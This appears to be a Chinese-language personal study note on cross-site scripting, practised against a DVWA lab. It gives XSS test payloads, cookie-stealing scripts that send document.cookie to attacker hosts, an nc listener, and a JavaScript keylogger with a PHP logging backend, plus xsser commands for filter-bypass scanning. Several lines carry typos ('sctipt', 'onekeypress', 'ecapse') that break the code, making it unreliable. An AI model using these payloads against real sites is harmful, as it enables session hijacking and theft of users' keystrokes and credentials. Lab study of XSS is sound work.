zoukankan      html  css  js  c++  java
  • xss.md

    xss

    cross-site-scripting

    javascript

    • 嵌入html <sctipt>alert("XSS");</script>
    • 元素标签:<body onload=alert('XSS')>
    • 图片:<img src="javascript:alert("XSS);">
    • 其他:<iframe>, <div>, <link>
    • DOM对象,篡改页面内容

    类型

    1. 存储型
    2. 反射型
    3. DOM型

    xss检测

    <a href="192.168.1.1">click</a>
    
    <script>alert("XSS")</script>
    
    <a href='' onclick=alert("xss")>type</a>
    
    <img src="http://1.1.1.1/a.jpg" onerror=alert("xss")>
    

    xss利用

    ​ nc -vnlp 80 #攻击机上执行

    ​ 被攻击执行

    <script>window.location="http://www.sina.com"</script>
    		<script>window.location="192.168.1.102"</script>  
    		
    <iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
    <script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>
    
    <script src="http://1.1.1.1/a.js"></script>
    	a.js
    		var img = new Image();
    		img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
    
    

    键盘记录器

    keylogger.js

    document.onekeypress = function(evt){
        evt = evt || window.event
        key = String.formCharCode(evt.charCode)
        if (key){
            var http = new XMLHttpRequest();
            var param = encodeURI(key);
            
            http.open("POST","http://1.1.1.1.keylogger.php",true);
            http.setRequestHeader("Content-type","applicant/x-www-form-urlencode");
            http.send("key="+param);        
        }
    }
    

    Keylogger.php

    <?php
    $key = $_POST['key'];
    $logfile = "keylog.txt";
    $fp = fopen($logfile, "a");
    fwrite($fp, $key);
    fclose($fp);
    ?>
    <script+src="http://1.1.1.1/keyloger.js"></script+src>
    <a href="http://192.168.1.102/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.1.103/keylogger.js'></script>"xss</a>
    

    Xsser

    xsser -u "http://1.1.1.1/dvwa/" -g "xss_r/?name=" --cookie="dadadadsadasddsadsa" -v --reverse-check
    -u :
    	url
    -p:
    	post
    -g:
    	get
    --heuristic:
    	启发式的,检测被过滤的字符
    --reverse-check:
    	连接至返回的url(反向连接)
    

    绕过过滤机制

    对payload进行编码
    	--Str
    	--Une
    	--Mix
    	--Dec
    	--Hex
    	--Hes
    	--Dwo
    	--Doo
    	--Cem=CEM
    xsser -u "http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=high; HPSESSID=d23e469411707ff8210717e67c521a81" --Cem='Mix,Une,Str,Hex'
    

    注入检测

    --Coo
    --Xsa
    --Xsr
    --Dcp
    --Dom
    --Ind
    --Anchor
    --Phpids
    

    攻击

    --Doss
    --Dos
    --B64
    --Onm
    --Ifr
    

    存储型

    DOM

    <script>
        var img = document.createElement("img");
    	img.src = "http://192.168.11.12:88/log?"+ecapse(document.cookie);
    </script>
    
  • 相关阅读:
    编写你的第一个程序(HelloWorld)
    有关数据库的一些基本关键字
    带箭头的面包屑导航栏
    浅析被element.style所覆盖的样式
    一些方便前端开发的小工具
    一道简单的闭包面试题
    First Article
    java8 lambda表达式 实现 java list 交集 并集 差集 去重复并集
    asp.net mvc5 WebUploader多文件大文件上传
    fastdfs安装部署
  • 原文地址:https://www.cnblogs.com/nsfoxer/p/14348054.html
Copyright © 2011-2022 走看看